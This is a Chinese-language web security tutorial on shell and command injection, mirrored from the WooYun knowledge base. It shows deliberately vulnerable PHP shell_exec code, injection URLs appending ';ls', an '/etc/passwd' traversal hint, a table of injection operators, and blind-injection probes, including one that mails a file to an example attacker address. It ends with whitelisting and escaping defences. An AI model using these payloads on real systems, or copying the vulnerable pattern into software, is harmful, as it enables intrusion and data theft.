Shell Injection & Command Injection

wyzsk發表於2020-08-19
作者: 五道口殺氣 · 2014/03/06 10:29

0x00 前言


Shell注入(Shell Injection),也被稱為命令注入(Command Injection),雖然不是最經常提及或發現的漏洞,但是危害巨大。

下面展開討論一下shell注入。

0x01 簡單介紹


通常情況下,Web應用程式會有需要執行shell命令的時候,有可能只是使用Unix sendmail程式傳送電子郵件,或執行指定的Perl和C + +程式。從開發的角度來看,這樣做可以減少程式的開發時間。然而,如果資料是透過一個使用者介面傳遞到這些程式中,則攻擊者可能能夠注入shell命令到這些後臺程式。

舉一個簡單的例子:

#!php
<?php
echo shell_exec('cat '.$_GET['filename']);
?>

看起來很好用,我們需要輸出檔案內容,直接用cat輸出,比如同目錄下有一個my_great_content.txt檔案,那麼請求的url就為:

www.mysite.com/viewcontent.php?filename=my_great_content.txt

開發只需要一行程式碼,就可以達到期望的功能。

但是不幸的是,這段程式碼是不安全的,攻擊者只需要使用一個分號(;)就可以繼續執行其他的命令。

www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls

該頁面除了返回檔案內容之外呢,還返回了當前目錄下的檔案

實際上這個檔案除了shell注入之外,還有目錄遍歷的問題,使用../../etc/passwd等獲取其他檔案內容。

0x02 如何利用


在前面的內容中,我們看到了如何進行命令注入的簡單案例。下面看下shell注入的幾種情況,以及如何進行shell注入。假設一些我們經過分析,已經發現了一個網站有shell注入,那麼你將有很多種注入的方式。

前面的例子中,獲取檔名並使用cat命令獲取文字內容輸出,我們可以使用分號(;)分隔進行注入,然而肯定有開發人員意識到此問題了,可能會過濾分號,但是仍有繞過的方式,下面是在shell注入中可能會用的字元,介紹一下:

重定向運算子

例如:<,>>,>

這些運算子是把結果輸出到伺服器的其他地方,< 是從檔案中而不是從鍵盤中讀入命令輸入,可能被用來繞過過濾。>是把結果重定向到檔案中,而不是寫在命令提示符視窗中。>>把結果追加到別的文字當中,而不改變原來的內容。

管道符

例如:|

管道符可以把一個命令的輸出重定向到下一個命令的輸入,例如

cat file1 | grep "string"

inline命令

例如:;,,,$

用來結束之前的命令,直接執行新的命令。

邏輯運算子

例如:$,&&,||

這些運算子用來對資料進行邏輯上的運算

常見的注入語句與結果

`shell_command`  執行shell_command命令
$(shell_command) 執行shell_command命令
| shell_command 執行shell_command命令並返回結果
|| shell_command 執行shell_command命令並返回結果
; shell_command 執行shell_command命令並返回結果
&& shell_command 執行shell_command命令並返回結果
> target_file 返回結果覆蓋到target_file裡
>> target_file 返回結果追加到target_file裡
< target_file 把target_file的內容輸入到之前的命令當中
- operator 給目標指令新增額外的引數

0x03 如何尋找shell注入


主要是尋找你懷疑的某個功能可以是後端用命令來執行的,可以進行簡單的測試,由於作業系統系統可能不同,那麼你測試的語句也應該是不一樣的:

(Windows) <normal_input>; dir c:
(Unix)    <normal_input>; ls

同時還要注意執行命令可能存在的引號,例如:

#!php
<?php
//sending the input directly. Attack with a string like file.txt;ls
echo shell_exec('cat '.$_GET['command']);
?>

<?php
//input is placed in quotes.  You must end the quotes to execute an injection.
//Craft an attack with a string like file.txt";ls
echo shell_exec('cat "'.$_GET['command']).'"';
?>

盲注

如果有時候並沒有命令回顯,那麼可以用以下方式檢測是否存在盲注:

file.txt;mail [email protected] < file.txt    //send an email to yourself
file.txt;ping www.test.com      //ping a webserver you have control of
file.txt;echo "test" > test.txt     //write the word "test" to test.txt. try opening this file with the browser. 

0x04 如何防禦


儘管上面說有很多方式進行shell注入,但是可以用幾個簡單的方式進行防禦,最主要的是過濾所有使用者輸入的資料,最好是能避免使用者的資料直接進入命令執行當中,如果不可避免,儘量避免(; | &)等符號,最好是用白名單。

如果不能是白名單,PHP當中提供了escapeshellarg和escapeshellcmd兩個函式進行過濾,但這並不能完全保障程式碼的安全性。需要具體情況再做相應的濾。

from:https://www.golemtechnologies.com/articles/shell-injection#how-to-test-if-website-vulnerable-to-command-injection

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章